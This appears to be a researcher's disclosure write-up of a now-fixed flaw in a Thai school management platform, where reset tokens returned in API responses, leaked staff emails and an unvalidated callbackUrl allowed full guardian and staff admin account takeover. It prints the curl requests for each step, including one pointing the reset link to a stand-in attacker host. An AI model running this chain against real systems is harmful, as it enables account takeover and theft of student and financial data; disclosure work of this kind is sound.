so i was poking around on a school management platform used by some international schools in thailand, and i found something pretty wild. i could reset the password for any guardian or staff account with zero interaction from the victim. no phishing, no social engineering, nothing.
well, almost nothing. i'll get to that part.
a weird response
i started by registering a guardian account and doing the usual forgot-password flow to see how it worked. i sent a request to the forgot-password endpoint and was looking at the response when i noticed something a little off.
the reset token was sitting right there in the API response body.
{
"expiredAt": "REDACTED",
"email": "myemail@example.com",
"callbackUrl": "https://REDACTED/parent/new-password",
"token": "REDACTED",
"status": "EMAIL_SENT"
}
the idea behind password reset is that the server sends you a secret token via email, so only the person with access to that inbox can use it. returning it directly in the HTTP response means anyone who can make the request gets the token. no email access needed.
the exploit (guardian)
so the full account takeover for any guardian is just two requests:
# step 1: get the reset token (no auth required)
curl -X POST https://REDACTED/api/guardians/auth/forgot-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com","callbackUrl":"https://REDACTED/parent/new-password"}'
# response immediately returns:
# { "token": "REDACTED", "status": "EMAIL_SENT", "email": "victim@example.com", ... }
# step 2: use the token to set a new password
curl -X POST https://REDACTED/api/guardians/auth/reset-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com","token":"REDACTED","newPassword":"anything"}'
# result: {"message":"Password has been reset successfully"}
tested it on my own account. worked perfectly.
wait, where do i get staff emails?
at this point i was curious if the same thing worked on staff accounts. the issue is i'd need a valid staff email to try it on. turns out there's an unauthenticated endpoint that just... gives them to you:
curl https://REDACTED/api/public/schools
the response includes staff contact emails for each school. no token, no auth, just a public GET request. this is probably meant for a school directory but it's also a convenient list of targets.
the exploit (staff)
once i had a staff email, i tried the same forgot-password trick on the staff endpoint:
# step 1: request reset (no auth required)
curl -X POST https://REDACTED/api/staff/forgot-password \
-H "Content-Type: application/json" \
-d '{"email":"REDACTED@REDACTED","callbackUrl":"https://REDACTED/new-password"}'
# response:
# { "token": "REDACTED", "status": "EMAIL_SENT", "email": "REDACTED@REDACTED", ... }
# step 2: reset password
curl -X POST https://REDACTED/api/staff/reset-password \
-H "Content-Type: application/json" \
-d '{"email":"REDACTED@REDACTED","token":"REDACTED","newPassword":"REDACTED"}'
# result: {"message":"Password has been reset successfully"}
logged in as staff ADMIN. the decoded token looked like:
{
"id": "REDACTED",
"schoolId": "REDACTED",
"name": "REDACTED",
"role": "ADMIN",
"roles": ["ADMIN"]
}
what staff access gets you
with an ADMIN staff token i could now hit all the endpoints that were previously blocked: student records, invoices, income data, the works. i stopped there and started writing this up instead of poking further.
bonus: the callbackUrl isn't validated either
while i was looking at the forgot-password request i noticed it takes a callbackUrl parameter. this is the link that gets embedded in the reset email sent to the victim. the platform uses it to tell the email template where to point the "reset your password" button.
i tried setting it to an arbitrary domain:
curl -X POST https://REDACTED/api/guardians/auth/forgot-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com","callbackUrl":"https://attacker.com/fake-reset"}'
response:
{
"callbackUrl": "https://attacker.com/fake-reset",
"token": "REDACTED",
"status": "EMAIL_SENT"
}
accepted. no validation at all.
this means the reset email that lands in the victim's inbox will have a "reset password" button pointing to https://attacker.com/fake-reset instead of the real platform. the victim clicks what looks like a legit password reset email and ends up on a page you control.
since the token is already returned in the response (see above), this is kind of redundant as an attack. you don't even need the victim to click anything. but if that token leak ever got fixed, this would be the fallback: victim gets a real email from the platform's mail server, clicks the link, token gets delivered to your server via the URL query string (?token=...), and you use it to take over the account.
it also works on localhost. i tried callbackUrl: "http://localhost:3000/reset" and it was accepted too, which hints at potential SSRF if the server ever follows that URL rather than just embedding it.
the full chain, no credentials needed
1. GET /api/public/schools → get staff email addresses (no auth)
2. POST /api/staff/forgot-password → receive reset token in response (no auth)
3. POST /api/staff/reset-password → set new password with that token
4. POST /api/staff/login → log in as staff ADMIN
four requests, zero prior access, complete staff account takeover.
the guardian variant is the same but shorter since you'd already know the email if you're a guardian yourself (or keep trying via the reset endpoint's different 404 response for unknown emails).
summary
- forgot-password endpoints for both guardian and staff return the reset token directly in the API response
- staff emails are available unauthenticated via
/api/public/schools callbackUrlaccepts any arbitrary domain, so the reset email will point wherever you tell it to- combining the first two means any staff account can be taken over with zero interaction from the victim
- if the token leak were ever fixed, the callbackUrl issue becomes the primary attack path
disclosure timeline
apr 16, 10:33 pm - sent initial contact to the platform asking where i could send a security report. didn't include technical details yet.
apr 16, 11:57 pm - director of business development replied.
apr 17, 12:55 am - sent the full technical report with all reproduction steps. investigation started.
apr 18, 5:39 am - received confirmation that all issues have been resolved.
apr 18, 1:21 pm - asked for permission to publish and a letter of acknowledgment.
apr 18, 3:32 pm - got the green light to publish.